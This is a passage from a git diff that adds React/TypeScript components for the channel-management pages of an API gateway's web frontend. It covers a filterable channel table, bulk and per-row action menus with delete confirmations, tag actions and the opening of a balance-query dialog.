+  const upstream = useChannelUpstreamUpdates(refreshChannels)
+
+  return (
+    <ChannelsContext.Provider
+      value={{
+        open,
+        setOpen,
+        currentRow,
+        setCurrentRow,
+        currentTag,
+        setCurrentTag,
+        enableTagMode,
+        setEnableTagMode,
+        idSort,
+        setIdSort,
+        upstream,
+      }}
+    >
+      {children}
+    </ChannelsContext.Provider>
+  )
+}
+
+// ============================================================================
+// Hook
+// ============================================================================
+
+export function useChannels() {
+  const context = useContext(ChannelsContext)
+  if (!context) {
+    throw new Error('useChannels must be used within ChannelsProvider')
+  }
+  return context
+}
diff --git a/new-api/web/default/src/features/channels/components/channels-table.tsx b/new-api/web/default/src/features/channels/components/channels-table.tsx
new file mode 100644
index 0000000..cf7509d
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/channels-table.tsx
@@ -0,0 +1,449 @@
+import { useState, useMemo, useEffect } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { getRouteApi } from '@tanstack/react-router'
+import {
+  flexRender,
+  getCoreRowModel,
+  useReactTable,
+  getExpandedRowModel,
+  type SortingState,
+  type VisibilityState,
+  type ExpandedState,
+  type Row,
+} from '@tanstack/react-table'
+import { useDebounce, useMediaQuery } from '@/hooks'
+import { useTranslation } from 'react-i18next'
+import { getLobeIcon } from '@/lib/lobe-icon'
+import { cn } from '@/lib/utils'
+import { useTableUrlState } from '@/hooks/use-table-url-state'
+import { Input } from '@/components/ui/input'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  DataTableToolbar,
+  TableSkeleton,
+  TableEmpty,
+  MobileCardList,
+} from '@/components/data-table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import { PageFooterPortal } from '@/components/layout'
+import { getChannels, searchChannels, getGroups } from '../api'
+import {
+  DEFAULT_PAGE_SIZE,
+  CHANNEL_STATUS,
+  CHANNEL_STATUS_OPTIONS,
+} from '../constants'
+import {
+  channelsQueryKeys,
+  aggregateChannelsByTag,
+  isTagAggregateRow,
+  getChannelTypeIcon,
+  getChannelTypeLabel,
+} from '../lib'
+import type { Channel } from '../types'
+import { useChannelsColumns } from './channels-columns'
+import { useChannels } from './channels-provider'
+import { DataTableBulkActions } from './data-table-bulk-actions'
+
+const route = getRouteApi('/_authenticated/channels/')
+
+function isDisabledChannelRow(channel: Channel) {
+  return (
+    !isTagAggregateRow(channel) && channel.status !== CHANNEL_STATUS.ENABLED
+  )
+}
+
+export function ChannelsTable() {
+  const { t } = useTranslation()
+  const { enableTagMode, idSort } = useChannels()
+  const isMobile = useMediaQuery('(max-width: 640px)')
+
+  // Table state
+  const [sorting, setSorting] = useState<SortingState>([])
+  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>({
+    models: false,
+    tag: false,
+  })
+  const [rowSelection, setRowSelection] = useState({})
+  const [expanded, setExpanded] = useState<ExpandedState>({})
+
+  // URL state management
+  const {
+    globalFilter,
+    onGlobalFilterChange,
+    columnFilters,
+    onColumnFiltersChange,
+    pagination,
+    onPaginationChange,
+    ensurePageInRange,
+  } = useTableUrlState({
+    search: route.useSearch(),
+    navigate: route.useNavigate(),
+    pagination: { defaultPage: 1, defaultPageSize: DEFAULT_PAGE_SIZE },
+    globalFilter: { enabled: true, key: 'filter' },
+    columnFilters: [
+      { columnId: 'status', searchKey: 'status', type: 'array' },
+      { columnId: 'type', searchKey: 'type', type: 'array' },
+      { columnId: 'group', searchKey: 'group', type: 'array' },
+      { columnId: 'model', searchKey: 'model', type: 'string' },
+    ],
+  })
+
+  // Extract filters from column filters
+  const statusFilter =
+    (columnFilters.find((f) => f.id === 'status')?.value as string[]) || []
+  const typeFilter =
+    (columnFilters.find((f) => f.id === 'type')?.value as string[]) || []
+  const groupFilter =
+    (columnFilters.find((f) => f.id === 'group')?.value as string[]) || []
+  const modelFilterFromUrl =
+    (columnFilters.find((f) => f.id === 'model')?.value as string) || ''
+
+  // Local state for immediate input feedback
+  const [modelFilterInput, setModelFilterInput] = useState(modelFilterFromUrl)
+  const debouncedModelFilter = useDebounce(modelFilterInput, 500)
+
+  // Sync local input with URL when URL changes (e.g., from back/forward navigation)
+  useEffect(() => {
+    setModelFilterInput(modelFilterFromUrl)
+  }, [modelFilterFromUrl])
+
+  // Update URL when debounced value changes
+  useEffect(() => {
+    if (debouncedModelFilter !== modelFilterFromUrl) {
+      onColumnFiltersChange((prev) => {
+        const filtered = prev.filter((f) => f.id !== 'model')
+        return debouncedModelFilter
+          ? [...filtered, { id: 'model', value: debouncedModelFilter }]
+          : filtered
+      })
+    }
+  }, [debouncedModelFilter, modelFilterFromUrl, onColumnFiltersChange])
+
+  const modelFilter = modelFilterFromUrl
+
+  // Determine whether to use search or regular list API
+  const shouldSearch = Boolean(globalFilter?.trim() || modelFilter.trim())
+
+  // Fetch groups for filter
+  const { data: groupsData } = useQuery({
+    queryKey: ['groups'],
+    queryFn: getGroups,
+  })
+
+  const groupOptions = useMemo(
+    () =>
+      (groupsData?.data || []).map((g) => ({
+        label: g,
+        value: g,
+      })),
+    [groupsData]
+  )
+
+  // Fetch channels data
+  // eslint-disable-next-line @tanstack/query/exhaustive-deps
+  const { data, isLoading, isFetching } = useQuery({
+    queryKey: channelsQueryKeys.list({
+      keyword: globalFilter,
+      model: modelFilter,
+      group:
+        groupFilter.length > 0 && !groupFilter.includes('all')
+          ? groupFilter[0]
+          : undefined,
+      status:
+        statusFilter.length > 0 && !statusFilter.includes('all')
+          ? statusFilter[0]
+          : undefined,
+      type:
+        typeFilter.length > 0 && !typeFilter.includes('all')
+          ? Number(typeFilter[0])
+          : undefined,
+      tag_mode: enableTagMode,
+      id_sort: idSort,
+      p: pagination.pageIndex + 1,
+      page_size: pagination.pageSize,
+    }),
+    queryFn: async () => {
+      if (shouldSearch) {
+        return searchChannels({
+          keyword: globalFilter,
+          model: modelFilter,
+          group:
+            groupFilter.length > 0 && !groupFilter.includes('all')
+              ? groupFilter[0]
+              : undefined,
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          type:
+            typeFilter.length > 0 && !typeFilter.includes('all')
+              ? Number(typeFilter[0])
+              : undefined,
+          tag_mode: enableTagMode,
+          id_sort: idSort,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      } else {
+        return getChannels({
+          group:
+            groupFilter.length > 0 && !groupFilter.includes('all')
+              ? groupFilter[0]
+              : undefined,
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          type:
+            typeFilter.length > 0 && !typeFilter.includes('all')
+              ? Number(typeFilter[0])
+              : undefined,
+          tag_mode: enableTagMode,
+          id_sort: idSort,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      }
+    },
+    placeholderData: (previousData) => previousData,
+  })
+
+  // Apply tag aggregation if tag mode is enabled
+  const channels = useMemo(() => {
+    const rawChannels = data?.data?.items || []
+
+    if (enableTagMode && rawChannels.length > 0) {
+      return aggregateChannelsByTag(rawChannels)
+    }
+
+    return rawChannels
+  }, [data, enableTagMode])
+
+  const totalCount = data?.data?.total || 0
+  const typeCounts = data?.data?.type_counts
+
+  // Columns configuration
+  const columns = useChannelsColumns()
+
+  // React Table instance
+  const table = useReactTable({
+    data: channels,
+    columns,
+    pageCount: Math.ceil(totalCount / pagination.pageSize),
+    state: {
+      sorting,
+      columnFilters,
+      columnVisibility,
+      rowSelection,
+      pagination,
+      expanded,
+      globalFilter,
+    },
+    enableRowSelection: (row: Row<Channel>) => !isTagAggregateRow(row.original),
+    onRowSelectionChange: setRowSelection,
+    onSortingChange: setSorting,
+    onColumnFiltersChange,
+    onColumnVisibilityChange: setColumnVisibility,
+    onPaginationChange,
+    onExpandedChange: setExpanded,
+    onGlobalFilterChange,
+    getCoreRowModel: getCoreRowModel(),
+    getExpandedRowModel: getExpandedRowModel(),
+    getSubRows: (row: Channel & { children?: Channel[] }) => row.children,
+    manualPagination: true,
+    manualSorting: true,
+    manualFiltering: true,
+  })
+
+  // Ensure page is in range when total count changes
+  const pageCount = table.getPageCount()
+  useEffect(() => {
+    ensurePageInRange(pageCount)
+  }, [pageCount, ensurePageInRange])
+
+  // Prepare filter options from existing channel types only.
+  const typeFilterOptions = useMemo(() => {
+    const counts = typeCounts || {}
+    const typeIds = Object.entries(counts)
+      .map(([type, count]) => ({
+        type: Number(type),
+        count: Number(count) || 0,
+      }))
+      .filter((item) => item.type > 0 && item.count > 0)
+      .sort((a, b) => {
+        const labelA = t(getChannelTypeLabel(a.type))
+        const labelB = t(getChannelTypeLabel(b.type))
+        return labelA.localeCompare(labelB)
+      })
+
+    const selectedType = typeFilter.find((value) => value !== 'all')
+    if (selectedType) {
+      const selectedTypeId = Number(selectedType)
+      const alreadyIncluded = typeIds.some(
+        (item) => item.type === selectedTypeId
+      )
+      if (selectedTypeId > 0 && !alreadyIncluded) {
+        typeIds.push({
+          type: selectedTypeId,
+          count: Number(counts[selectedType]) || 0,
+        })
+      }
+    }
+
+    const totalTypes = Object.values(counts).reduce(
+      (sum, count) => sum + (Number(count) || 0),
+      0
+    )
+
+    return [
+      {
+        label: 'All Types',
+        value: 'all',
+        count: totalTypes,
+      },
+      ...typeIds.map((item) => {
+        const iconName = getChannelTypeIcon(item.type)
+        return {
+          label: getChannelTypeLabel(item.type),
+          value: String(item.type),
+          count: item.count,
+          iconNode: getLobeIcon(`${iconName}.Color`, 16),
+        }
+      }),
+    ]
+  }, [t, typeCounts, typeFilter])
+
+  const groupFilterOptions = [
+    { label: t('All Groups'), value: 'all' },
+    ...groupOptions,
+  ]
+
+  return (
+    <>
+      <div className='space-y-4'>
+        <DataTableToolbar
+          table={table}
+          searchPlaceholder={t('Filter by name, ID, or key...')}
+          additionalSearch={
+            <Input
+              placeholder={t('Filter by model...')}
+              value={modelFilterInput}
+              onChange={(e) => setModelFilterInput(e.target.value)}
+              className='h-8 w-full sm:w-[150px] lg:w-[200px]'
+            />
+          }
+          filters={[
+            {
+              columnId: 'status',
+              title: t('Status'),
+              options: [...CHANNEL_STATUS_OPTIONS],
+              singleSelect: true,
+            },
+            {
+              columnId: 'type',
+              title: t('Type'),
+              options: typeFilterOptions,
+              singleSelect: true,
+            },
+            {
+              columnId: 'group',
+              title: t('Group'),
+              options: groupFilterOptions,
+              singleSelect: true,
+            },
+          ]}
+        />
+
+        {isMobile ? (
+          <MobileCardList
+            table={table}
+            isLoading={isLoading}
+            emptyTitle='No Channels Found'
+            emptyDescription='No channels available. Create your first channel to get started.'
+            getRowClassName={(row) =>
+              isDisabledChannelRow(row.original)
+                ? 'border-l-4 border-l-muted-foreground/35 bg-muted/85 dark:border-l-zinc-300/70 dark:bg-zinc-700/55'
+                : undefined
+            }
+          />
+        ) : (
+          <>
+            <div
+              className={cn(
+                'overflow-hidden rounded-md border transition-opacity duration-150',
+                isFetching && !isLoading && 'pointer-events-none opacity-50'
+              )}
+            >
+              <Table>
+                <TableHeader>
+                  {table.getHeaderGroups().map((headerGroup) => (
+                    <TableRow key={headerGroup.id}>
+                      {headerGroup.headers.map((header) => (
+                        <TableHead
+                          key={header.id}
+                          style={{ width: header.getSize() }}
+                        >
+                          {header.isPlaceholder
+                            ? null
+                            : flexRender(
+                                header.column.columnDef.header,
+                                header.getContext()
+                              )}
+                        </TableHead>
+                      ))}
+                    </TableRow>
+                  ))}
+                </TableHeader>
+                <TableBody>
+                  {isLoading ? (
+                    <TableSkeleton table={table} keyPrefix='channel-skeleton' />
+                  ) : table.getRowModel().rows.length === 0 ? (
+                    <TableEmpty
+                      colSpan={columns.length}
+                      title={t('No Channels Found')}
+                      description={t(
+                        'No channels available. Create your first channel to get started.'
+                      )}
+                    />
+                  ) : (
+                    table.getRowModel().rows.map((row) => (
+                      <TableRow
+                        key={row.id}
+                        data-state={row.getIsSelected() && 'selected'}
+                        className={cn(
+                          isDisabledChannelRow(row.original) &&
+                            'bg-muted/85 hover:bg-muted [&>td:first-child]:border-l-muted-foreground/35 dark:bg-zinc-700/55 dark:hover:bg-zinc-700/70 [&>td:first-child]:border-l-4 [&>td:first-child]:pl-1 dark:[&>td:first-child]:border-l-zinc-300/70'
+                        )}
+                      >
+                        {row.getVisibleCells().map((cell) => (
+                          <TableCell key={cell.id}>
+                            {flexRender(
+                              cell.column.columnDef.cell,
+                              cell.getContext()
+                            )}
+                          </TableCell>
+                        ))}
+                      </TableRow>
+                    ))
+                  )}
+                </TableBody>
+              </Table>
+            </div>
+
+            <DataTableBulkActions table={table} />
+          </>
+        )}
+      </div>
+      <PageFooterPortal>
+        <DataTablePagination table={table} />
+      </PageFooterPortal>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/data-table-bulk-actions.tsx b/new-api/web/default/src/features/channels/components/data-table-bulk-actions.tsx
new file mode 100644
index 0000000..f7dc832
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/data-table-bulk-actions.tsx
@@ -0,0 +1,228 @@
+import { useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { type Table } from '@tanstack/react-table'
+import { Power, PowerOff, Tag, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { DataTableBulkActions as BulkActionsToolbar } from '@/components/data-table'
+import {
+  handleBatchDelete,
+  handleBatchDisable,
+  handleBatchEnable,
+  handleBatchSetTag,
+} from '../lib'
+import type { Channel } from '../types'
+
+interface DataTableBulkActionsProps<TData> {
+  table: Table<TData>
+}
+
+export function DataTableBulkActions<TData>({
+  table,
+}: DataTableBulkActionsProps<TData>) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const [showTagDialog, setShowTagDialog] = useState(false)
+  const [showDeleteConfirm, setShowDeleteConfirm] = useState(false)
+  const [tagValue, setTagValue] = useState('')
+
+  const selectedRows = table.getFilteredSelectedRowModel().rows
+  const selectedIds = selectedRows.reduce<number[]>((ids, row) => {
+    const id = (row.original as Channel).id
+
+    if (typeof id === 'number') {
+      ids.push(id)
+    }
+
+    return ids
+  }, [])
+
+  const handleClearSelection = () => {
+    table.resetRowSelection()
+  }
+
+  const handleEnableAll = () => {
+    handleBatchEnable(selectedIds, queryClient, handleClearSelection)
+  }
+
+  const handleDisableAll = () => {
+    handleBatchDisable(selectedIds, queryClient, handleClearSelection)
+  }
+
+  const handleDeleteAll = () => {
+    handleBatchDelete(selectedIds, queryClient, () => {
+      setShowDeleteConfirm(false)
+      handleClearSelection()
+    })
+  }
+
+  const handleSetTag = () => {
+    handleBatchSetTag(selectedIds, tagValue || null, queryClient, () => {
+      setShowTagDialog(false)
+      setTagValue('')
+      handleClearSelection()
+    })
+  }
+
+  return (
+    <>
+      <BulkActionsToolbar table={table} entityName='channel'>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='outline'
+              size='icon'
+              onClick={handleEnableAll}
+              className='size-8'
+              aria-label={t('Enable selected channels')}
+              title={t('Enable selected channels')}
+            >
+              <Power />
+              <span className='sr-only'>{t('Enable selected channels')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Enable selected channels')}</p>
+          </TooltipContent>
+        </Tooltip>
+
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='outline'
+              size='icon'
+              onClick={handleDisableAll}
+              className='size-8'
+              aria-label={t('Disable selected channels')}
+              title={t('Disable selected channels')}
+            >
+              <PowerOff />
+              <span className='sr-only'>{t('Disable selected channels')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Disable selected channels')}</p>
+          </TooltipContent>
+        </Tooltip>
+
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='outline'
+              size='icon'
+              onClick={() => setShowTagDialog(true)}
+              className='size-8'
+              aria-label={t('Set tag for selected channels')}
+              title={t('Set tag for selected channels')}
+            >
+              <Tag />
+              <span className='sr-only'>
+                {t('Set tag for selected channels')}
+              </span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Set tag for selected channels')}</p>
+          </TooltipContent>
+        </Tooltip>
+
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <Button
+              variant='destructive'
+              size='icon'
+              onClick={() => setShowDeleteConfirm(true)}
+              className='size-8'
+              aria-label={t('Delete selected channels')}
+              title={t('Delete selected channels')}
+            >
+              <Trash2 />
+              <span className='sr-only'>{t('Delete selected channels')}</span>
+            </Button>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>{t('Delete selected channels')}</p>
+          </TooltipContent>
+        </Tooltip>
+      </BulkActionsToolbar>
+
+      {/* Set Tag Dialog */}
+      <Dialog open={showTagDialog} onOpenChange={setShowTagDialog}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>{t('Set Tag')}</DialogTitle>
+            <DialogDescription>
+              {t('Set a tag for')} {selectedIds.length}{' '}
+              {t('selected channel(s). Leave empty to remove tag.')}
+            </DialogDescription>
+          </DialogHeader>
+
+          <div className='grid gap-4 py-4'>
+            <div className='grid gap-2'>
+              <Label htmlFor='tag'>{t('Tag')}</Label>
+              <Input
+                id='tag'
+                placeholder={t('Enter tag name (optional)')}
+                value={tagValue}
+                onChange={(e) => setTagValue(e.target.value)}
+              />
+            </div>
+          </div>
+
+          <DialogFooter>
+            <Button
+              variant='outline'
+              onClick={() => {
+                setShowTagDialog(false)
+                setTagValue('')
+              }}
+            >
+              {t('Cancel')}
+            </Button>
+            <Button onClick={handleSetTag}>{t('Set Tag')}</Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+
+      {/* Delete Confirmation Dialog */}
+      <Dialog open={showDeleteConfirm} onOpenChange={setShowDeleteConfirm}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>{t('Delete Channels?')}</DialogTitle>
+            <DialogDescription>
+              {t('Are you sure you want to delete')} {selectedIds.length}{' '}
+              {t('channel(s)? This action cannot be undone.')}
+            </DialogDescription>
+          </DialogHeader>
+
+          <DialogFooter>
+            <Button
+              variant='outline'
+              onClick={() => setShowDeleteConfirm(false)}
+            >
+              {t('Cancel')}
+            </Button>
+            <Button variant='destructive' onClick={handleDeleteAll}>
+              {t('Delete')}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/data-table-row-actions.tsx b/new-api/web/default/src/features/channels/components/data-table-row-actions.tsx
new file mode 100644
index 0000000..c626a19
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/data-table-row-actions.tsx
@@ -0,0 +1,246 @@
+import { useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { type Row } from '@tanstack/react-table'
+import {
+  MoreHorizontal,
+  Boxes,
+  Pencil,
+  TestTube,
+  DollarSign,
+  Download,
+  Copy,
+  Power,
+  PowerOff,
+  Key,
+  Trash2,
+  RefreshCw,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { MODEL_FETCHABLE_TYPES } from '../constants'
+import {
+  handleDeleteChannel,
+  handleToggleChannelStatus,
+  isChannelEnabled,
+  isMultiKeyChannel,
+} from '../lib'
+import { parseUpstreamUpdateMeta } from '../lib/upstream-update-utils'
+import type { Channel } from '../types'
+import { useChannels } from './channels-provider'
+
+interface DataTableRowActionsProps {
+  row: Row<Channel>
+}
+
+export function DataTableRowActions({ row }: DataTableRowActionsProps) {
+  const { t } = useTranslation()
+  const channel = row.original
+  const { setOpen, setCurrentRow, upstream } = useChannels()
+  const queryClient = useQueryClient()
+  const [deleteConfirmOpen, setDeleteConfirmOpen] = useState(false)
+
+  const isEnabled = isChannelEnabled(channel)
+  const isMultiKey = isMultiKeyChannel(channel)
+
+  const handleEdit = () => {
+    setCurrentRow(channel)
+    setOpen('update-channel')
+  }
+
+  const handleTest = () => {
+    setCurrentRow(channel)
+    setOpen('test-channel')
+  }
+
+  const handleQueryBalance = () => {
+    setCurrentRow(channel)
+    setOpen('balance-query')
+  }
+
+  const handleFetchModels = () => {
+    setCurrentRow(channel)
+    setOpen('fetch-models')
+  }
+
+  const handleManageOllamaModels = () => {
+    setCurrentRow(channel)
+    setOpen('ollama-models')
+  }
+
+  const handleCopy = () => {
+    setCurrentRow(channel)
+    setOpen('copy-channel')
+  }
+
+  const handleManageKeys = () => {
+    setCurrentRow(channel)
+    setOpen('multi-key-manage')
+  }
+
+  const handleToggleStatus = () => {
+    handleToggleChannelStatus(channel.id, channel.status, queryClient)
+  }
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button
+          variant='ghost'
+          className='data-[state=open]:bg-muted flex h-8 w-8 p-0'
+        >
+          <MoreHorizontal className='h-4 w-4' />
+          <span className='sr-only'>{t('Open menu')}</span>
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align='end' className='w-48'>
+        {/* Edit */}
+        <DropdownMenuItem onClick={handleEdit}>
+          {t('Edit')}
+          <DropdownMenuShortcut>
+            <Pencil size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        {/* Test Connection */}
+        <DropdownMenuItem onClick={handleTest}>
+          {t('Test Connection')}
+          <DropdownMenuShortcut>
+            <TestTube size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        {/* Query Balance */}
+        <DropdownMenuItem onClick={handleQueryBalance}>
+          {t('Query Balance')}
+          <DropdownMenuShortcut>
+            <DollarSign size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        {/* Fetch Models */}
+        <DropdownMenuItem onClick={handleFetchModels}>
+          {t('Fetch Models')}
+          <DropdownMenuShortcut>
+            <Download size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        {/* Detect Upstream Updates (only for fetchable channel types) */}
+        {MODEL_FETCHABLE_TYPES.has(channel.type) && (
+          <DropdownMenuItem
+            onClick={() => {
+              const meta = parseUpstreamUpdateMeta(channel.settings)
+              if (
+                meta.pendingAddModels.length > 0 ||
+                meta.pendingRemoveModels.length > 0
+              ) {
+                upstream.openModal(
+                  channel,
+                  meta.pendingAddModels,
+                  meta.pendingRemoveModels,
+                  meta.pendingAddModels.length > 0 ? 'add' : 'remove'
+                )
+              } else {
+                upstream.detectChannelUpdates(channel)
+              }
+            }}
+          >
+            {t('Upstream Updates')}
+            <DropdownMenuShortcut>
+              <RefreshCw size={16} />
+            </DropdownMenuShortcut>
+          </DropdownMenuItem>
+        )}
+
+        {/* Ollama Models (only for Ollama channels) */}
+        {channel.type === 4 && (
+          <DropdownMenuItem onClick={handleManageOllamaModels}>
+            {t('Manage Ollama Models')}
+            <DropdownMenuShortcut>
+              <Boxes size={16} />
+            </DropdownMenuShortcut>
+          </DropdownMenuItem>
+        )}
+
+        <DropdownMenuSeparator />
+
+        {/* Copy Channel */}
+        <DropdownMenuItem onClick={handleCopy}>
+          {t('Copy Channel')}
+          <DropdownMenuShortcut>
+            <Copy size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        {/* Manage Keys (only for multi-key channels) */}
+        {isMultiKey && (
+          <DropdownMenuItem onClick={handleManageKeys}>
+            {t('Manage Keys')}
+            <DropdownMenuShortcut>
+              <Key size={16} />
+            </DropdownMenuShortcut>
+          </DropdownMenuItem>
+        )}
+
+        <DropdownMenuSeparator />
+
+        {/* Enable/Disable */}
+        <DropdownMenuItem onClick={handleToggleStatus}>
+          {isEnabled ? (
+            <>
+              {t('Disable')}
+              <DropdownMenuShortcut>
+                <PowerOff size={16} />
+              </DropdownMenuShortcut>
+            </>
+          ) : (
+            <>
+              {t('Enable')}
+              <DropdownMenuShortcut>
+                <Power size={16} />
+              </DropdownMenuShortcut>
+            </>
+          )}
+        </DropdownMenuItem>
+
+        <DropdownMenuSeparator />
+
+        {/* Delete */}
+        <DropdownMenuItem
+          onSelect={(e) => {
+            e.preventDefault()
+            setDeleteConfirmOpen(true)
+          }}
+          className='text-destructive focus:text-destructive'
+        >
+          {t('Delete')}
+          <DropdownMenuShortcut>
+            <Trash2 size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+
+      <ConfirmDialog
+        open={deleteConfirmOpen}
+        onOpenChange={setDeleteConfirmOpen}
+        title={t('Delete Channel')}
+        desc={`Are you sure you want to delete "${channel.name}"? This action cannot be undone.`}
+        confirmText='Delete'
+        destructive
+        handleConfirm={() => {
+          handleDeleteChannel(channel.id, queryClient)
+          setDeleteConfirmOpen(false)
+        }}
+      />
+    </DropdownMenu>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/data-table-tag-row-actions.tsx b/new-api/web/default/src/features/channels/components/data-table-tag-row-actions.tsx
new file mode 100644
index 0000000..02e5acd
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/data-table-tag-row-actions.tsx
@@ -0,0 +1,96 @@
+import { useQueryClient } from '@tanstack/react-query'
+import { type Row } from '@tanstack/react-table'
+import { MoreHorizontal, Power, PowerOff, Pencil, Edit } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { handleEnableTagChannels, handleDisableTagChannels } from '../lib'
+import type { Channel } from '../types'
+import { useChannels } from './channels-provider'
+
+interface DataTableTagRowActionsProps {
+  row: Row<Channel & { tag?: string }>
+}
+
+export function DataTableTagRowActions({ row }: DataTableTagRowActionsProps) {
+  const { t } = useTranslation()
+  const tag = row.original.tag
+  const { setOpen, setCurrentTag } = useChannels()
+  const queryClient = useQueryClient()
+
+  if (!tag) return null
+
+  const handleEnableAll = () => {
+    handleEnableTagChannels(tag, queryClient)
+  }
+
+  const handleDisableAll = () => {
+    handleDisableTagChannels(tag, queryClient)
+  }
+
+  const handleBatchEdit = () => {
+    setCurrentTag(tag)
+    setOpen('tag-batch-edit')
+  }
+
+  const handleEditTag = () => {
+    setCurrentTag(tag)
+    setOpen('edit-tag')
+  }
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button
+          variant='ghost'
+          className='data-[state=open]:bg-muted flex h-8 w-8 p-0'
+        >
+          <MoreHorizontal className='h-4 w-4' />
+          <span className='sr-only'>{t('Open menu')}</span>
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align='end' className='w-48'>
+        {/* Edit Tag */}
+        <DropdownMenuItem onClick={handleEditTag}>
+          {t('Edit Tag')}
+          <DropdownMenuShortcut>
+            <Edit size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        {/* Batch Edit */}
+        <DropdownMenuItem onClick={handleBatchEdit}>
+          {t('Batch Edit')}
+          <DropdownMenuShortcut>
+            <Pencil size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        <DropdownMenuSeparator />
+
+        {/* Enable All */}
+        <DropdownMenuItem onClick={handleEnableAll}>
+          {t('Enable All')}
+          <DropdownMenuShortcut>
+            <Power size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+
+        {/* Disable All */}
+        <DropdownMenuItem onClick={handleDisableAll}>
+          {t('Disable All')}
+          <DropdownMenuShortcut>
+            <PowerOff size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/balance-query-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/balance-query-dialog.tsx
new file mode 100644
index 0000000..cfd7e42
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/balance-query-dialog.tsx
@@ -0,0 +1,195 @@
+import { useEffect, useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2, RefreshCw, DollarSign } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { formatCurrencyFromUSD } from '@/lib/currency'
+import { formatTimestampToDate } from '@/lib/format'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { getCodexUsage, updateChannelBalance } from '../../api'
+import { channelsQueryKeys } from '../../lib'
+import { useChannels } from '../channels-provider'
+import {
+  CodexUsageDialog,
+  type CodexUsageDialogData,
+} from './codex-usage-dialog'
+
+type BalanceQueryDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function BalanceQueryDialog({
+  open,
+  onOpenChange,
+}: BalanceQueryDialogProps) {
+  const { t } = useTranslation()
+  const { currentRow, setCurrentRow } = useChannels()
+  const queryClient = useQueryClient()
+  const [isQuerying, setIsQuerying] = useState(false)
+  const [balance, setBalance] = useState<number | null>(null)
+  const [balanceUpdatedTime, setBalanceUpdatedTime] = useState<number | null>(
+    null
+  )
